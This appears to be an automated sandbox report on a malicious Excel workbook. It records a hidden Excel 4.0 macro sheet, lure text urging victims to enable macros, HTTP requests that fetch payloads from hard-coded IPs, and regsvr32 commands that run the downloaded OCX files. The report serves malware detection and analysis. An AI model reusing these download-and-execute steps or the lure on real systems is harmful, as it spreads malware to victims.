Windows Analysis Report ComplaintDetails-1244065104-Nov-17.xlsb

ID:	532936
Product:	CloudBasic
Start time:	20:54:03
Start date:	02.12.2021
Sample:	ComplaintDetails-1244065104-Nov-17.xlsb
Cookbook:	defaultwindowsofficecookbook.jbs
System description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Architecture:	WINDOWS
MD5:	cfee2afbf9c7456b62417ccf80e70009
SHA1:	2d43d6ad54fb33ce77467394e621963d528cc57f
SHA256:	0a7656fab771936b9586b8b90ebe9d38f34fa64d8e465f3f53c4df20f3c1ca44
Filetype:	Microsoft Excel Office Binary workbook document (40504/1) 83.51%

Name	Type	MD5	SHA1	SHA256
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DC095B18.jpg	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1098x988, frames 3	4F100E2CEFED046B44EC799015B454EF	5149E5D1B5212C77B3548914E9B47D67B4BEA574	D30B441AB0E88A1487F29A80D63E2A4865A3F5DF7854FB8359B354397F807E2C
C:\Users\user\Desktop\ComplaintDetails-1244065104-Nov-17.xlsb17 (copy)	Microsoft Excel 2007+	DDAD6F2ECE4007B9ED5F4AE21F009B8D	AFEFC9E3AA046422A0B395D7E63738B245DBB9F3	0201B654E9DCFCAB3D21F3B15705041B214FCEC3296821522578F671C88959B8
C:\Users\user\Desktop\D1440000	Microsoft Excel 2007+	DDAD6F2ECE4007B9ED5F4AE21F009B8D	AFEFC9E3AA046422A0B395D7E63738B245DBB9F3	0201B654E9DCFCAB3D21F3B15705041B214FCEC3296821522578F671C88959B8
C:\Users\user\Desktop\D1440000:Zone.Identifier	ASCII text, with CRLF line terminators	187F488E27DB4AF347237FE461A079AD	6693BA299EC1881249D59262276A0D2CB21F8E64	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
C:\Users\user\Desktop\~$ComplaintDetails-1244065104-Nov-17.xlsb	data	797869BB881CFBCDAC2064F92B26E46F	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185

AV Detection:

Multi AV Scanner detection for submitted file

Source: ComplaintDetails-1244065104-Nov-17.xlsb

ReversingLabs: Detection: 39%

Compliance:

Uses new MSVCR Dlls

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Potential document exploit detected (unknown TCP traffic)

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 190.14.37.101:80

Potential document exploit detected (performs HTTP gets)

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 190.14.37.101:80

Allocates a big amount of memory (probably used for heap spraying)

Source: excel.exe

Memory has grown: Private usage: 4MB later: 31MB

Networking:

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: GET /44532.8710387731.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 190.14.37.101Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44532.8710387731.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 185.138.164.244Connection: Keep-Alive

Connects to IPs without corresponding DNS lookups

Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.101
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.101
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.101
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.114.236
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.114.236
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.114.236
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.114.236
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.114.236
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.114.236
Source: unknown	TCP traffic detected without corresponding DNS query: 185.138.164.244
Source: unknown	TCP traffic detected without corresponding DNS query: 185.138.164.244
Source: unknown	TCP traffic detected without corresponding DNS query: 185.138.164.244
Source: unknown	TCP traffic detected without corresponding DNS query: 185.138.164.244
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.101
Source: unknown	TCP traffic detected without corresponding DNS query: 185.138.164.244
Source: unknown	TCP traffic detected without corresponding DNS query: 185.138.164.244
Source: unknown	TCP traffic detected without corresponding DNS query: 190.14.37.101

Found strings which match to known social media urls

Source: EXCEL.EXE, 00000000.00000002.764239542.0000000008030000.00000004.00000001.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com+ equals www.linkedin.com (Linkedin)
Source: EXCEL.EXE, 00000000.00000002.762244701.0000000005220000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.559235344.0000000004920000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.539928004.0000000004870000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.517718474.00000000046F0000.00000002.00020000.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: EXCEL.EXE, 00000000.00000002.764239542.0000000008030000.00000004.00000001.sdmp	String found in binary or memory: ookie:user@www.linkedin.com/ equals www.linkedin.com (Linkedin)
Source: EXCEL.EXE, 00000000.00000002.764239542.0000000008030000.00000004.00000001.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)

Tries to download or post to a non-existing HTTP route (HTTP/1.1 404 Not Found / 503 Service Unavailable / 403 Forbidden)

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Thu, 02 Dec 2021 19:54:53 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Thu, 02 Dec 2021 19:55:36 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

URLs found in memory or binary data

Source: EXCEL.EXE, 00000000.00000002.764316542.0000000008045000.00000004.00000001.sdmp	String found in binary or memory: http://185.138.164.244/44532.8710387731.datc9:00
Source: EXCEL.EXE, 00000000.00000002.764316542.0000000008045000.00000004.00000001.sdmp	String found in binary or memory: http://185.138.164.244/44532.8710387731.date9:00
Source: EXCEL.EXE, 00000000.00000003.599665696.0000000006FA0000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.762694453.0000000005B30000.00000004.00000010.sdmp	String found in binary or memory: http://185.138.164.244/E
Source: EXCEL.EXE, 00000000.00000003.599665696.0000000006FA0000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.762694453.0000000005B30000.00000004.00000010.sdmp	String found in binary or memory: http://185.81.114.236/C
Source: EXCEL.EXE, 00000000.00000003.599665696.0000000006FA0000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.762694453.0000000005B30000.00000004.00000010.sdmp	String found in binary or memory: http://190.14.37.101/A
Source: EXCEL.EXE, 00000000.00000002.762244701.0000000005220000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.559235344.0000000004920000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.539928004.0000000004870000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.517718474.00000000046F0000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com
Source: EXCEL.EXE, 00000000.00000002.762244701.0000000005220000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.559235344.0000000004920000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.539928004.0000000004870000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.517718474.00000000046F0000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com/
Source: EXCEL.EXE, 00000000.00000002.762410053.0000000005407000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.559391469.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.540205624.0000000004A57000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.518058023.00000000048D7000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: EXCEL.EXE, 00000000.00000002.762410053.0000000005407000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.559391469.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.540205624.0000000004A57000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.518058023.00000000048D7000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: EXCEL.EXE, 00000000.00000002.763749682.0000000007196000.00000004.00000010.sdmp, EXCEL.EXE, 00000000.00000002.763569635.0000000006FC6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.762705853.0000000005B66000.00000004.00000010.sdmp	String found in binary or memory: http://schemas.open
Source: EXCEL.EXE, 00000000.00000002.763749682.0000000007196000.00000004.00000010.sdmp	String found in binary or memory: http://schemas.openformatrg/package/2006/content-t
Source: EXCEL.EXE, 00000000.00000002.763569635.0000000006FC6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.762705853.0000000005B66000.00000004.00000010.sdmp	String found in binary or memory: http://schemas.openformatrg/package/2006/r
Source: regsvr32.exe, 00000003.00000002.558836594.00000000039F0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.539332609.0000000003A40000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.517078400.00000000039D0000.00000002.00020000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: regsvr32.exe, 00000003.00000002.558502451.0000000001D90000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.539002745.0000000001DA0000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.516202897.0000000001BE0000.00000002.00020000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: EXCEL.EXE, 00000000.00000002.762410053.0000000005407000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.559391469.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.540205624.0000000004A57000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.518058023.00000000048D7000.00000002.00020000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: EXCEL.EXE, 00000000.00000002.762410053.0000000005407000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.559391469.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.540205624.0000000004A57000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.518058023.00000000048D7000.00000002.00020000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: regsvr32.exe, 00000003.00000002.558836594.00000000039F0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.539332609.0000000003A40000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.517078400.00000000039D0000.00000002.00020000.sdmp	String found in binary or memory: http://www.%s.comPA
Source: EXCEL.EXE, 00000000.00000002.762244701.0000000005220000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.559235344.0000000004920000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.539928004.0000000004870000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.517718474.00000000046F0000.00000002.00020000.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: EXCEL.EXE, 00000000.00000002.762410053.0000000005407000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.559391469.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.540205624.0000000004A57000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.518058023.00000000048D7000.00000002.00020000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: EXCEL.EXE, 00000000.00000002.762244701.0000000005220000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.559235344.0000000004920000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.539928004.0000000004870000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.517718474.00000000046F0000.00000002.00020000.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: regsvr32.exe, 00000005.00000002.517718474.00000000046F0000.00000002.00020000.sdmp	String found in binary or memory: http://www.windows.com/pctv.

Downloads files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DC095B18.jpg

Jump to behavior

Downloads files from webservers via HTTP

Source: global traffic	HTTP traffic detected: GET /44532.8710387731.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 190.14.37.101Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44532.8710387731.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 185.138.164.244Connection: Keep-Alive

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: Enable editing" in the yellow bar above. example of notification ( 0 PROTECTHWARNNG Thisfileorigi
Source: Screenshot number: 4	Screenshot OCR: Enable Content" to perform Microsoft Excel Decryption Core to start the decryption of the document.
Source: Screenshot number: 4	Screenshot OCR: Enable Macros ) Why I can not open this document? - You are using iOS or Android device. Please us
Source: Screenshot number: 8	Screenshot OCR: Enable editing" in the yellow bar above. example of notification ( 0 PROTECTHWARNNG Thisfileorigi
Source: Screenshot number: 8	Screenshot OCR: Enable Content" to perform Microsoft Excel Decryption Core to start the decryption of the document.
Source: Screenshot number: 8	Screenshot OCR: Enable Macros ) Why I can not open this document? - You are using iOS or Android device. Please us

Found malicious Excel 4.0 Macro

Source: ComplaintDetails-1244065104-Nov-17.xlsb

Macro extractor: Sheet: Tiposa contains: urlmon

Found Excel 4.0 Macro with suspicious formulas

Source: ComplaintDetails-1244065104-Nov-17.xlsb

Initial sample: EXEC

Found protected and hidden Excel 4.0 Macro sheet

Source: ComplaintDetails-1244065104-Nov-17.xlsb

Initial sample: Sheet name: Tiposa

Found a hidden Excel 4.0 Macro sheet

Source: ComplaintDetails-1244065104-Nov-17.xlsb

Macro extractor: Sheet name: Tiposa

Detected potential crypto function

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_02196753		0_2_02196753
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_02196340		0_2_02196340
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_02196743		0_2_02196743
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_021966F3		0_2_021966F3
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_021966E8		0_2_021966E8

Sample is known by Antivirus

Source: ComplaintDetails-1244065104-Nov-17.xlsb

ReversingLabs: Detection: 39%

Reads software policies

Source: C:\Windows\System32\regsvr32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Spawns processes

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe ..\Tot1.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe ..\Tot2.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe ..\Tot3.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe ..\Tot1.ocx			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe ..\Tot2.ocx			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe ..\Tot3.ocx			Jump to behavior

Binary contains paths to development resources

Source: EXCEL.EXE, 00000000.00000002.762244701.0000000005220000.00000002.00020000.sdmp, regsvr32.exe, 00000003.00000002.559235344.0000000004920000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.539928004.0000000004870000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.517718474.00000000046F0000.00000002.00020000.sdmp

Binary or memory string: .VBPud<_

Creates files inside the user directory

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$ComplaintDetails-1244065104-Nov-17.xlsb

Jump to behavior

Creates temporary files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRD5E4.tmp

Jump to behavior

Classification label

Source: classification engine

Classification label: mal84.expl.evad.winXLSB@7/5@0/3

Reads ini files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Document is a ZIP file with path names indicative of goodware

Source: ComplaintDetails-1244065104-Nov-17.xlsb	Initial sample: OLE zip file path = xl/media/image1.jpg
Source: D1440000.0.dr	Initial sample: OLE zip file path = xl/media/image1.jpg

Checks if Microsoft Office is installed

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Uses new MSVCR Dlls

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\System32\regsvr32.exe TID: 1684	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 408	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1988	Thread sleep time: -60000s >= -30000s			Jump to behavior

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Code function: 0_2_02196753 rdtsc

0_2_02196753

Anti Debugging:

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Code function: 0_2_02196753 rdtsc

0_2_02196753

HIPS / PFW / Operating System Protection Evasion:

May try to detect the Windows Explorer process (often used for injection)

Source: EXCEL.EXE, 00000000.00000002.760914434.0000000000870000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: EXCEL.EXE, 00000000.00000002.760914434.0000000000870000.00000002.00020000.sdmp	Binary or memory string: !Progman
Source: EXCEL.EXE, 00000000.00000002.760914434.0000000000870000.00000002.00020000.sdmp	Binary or memory string: Program Manager<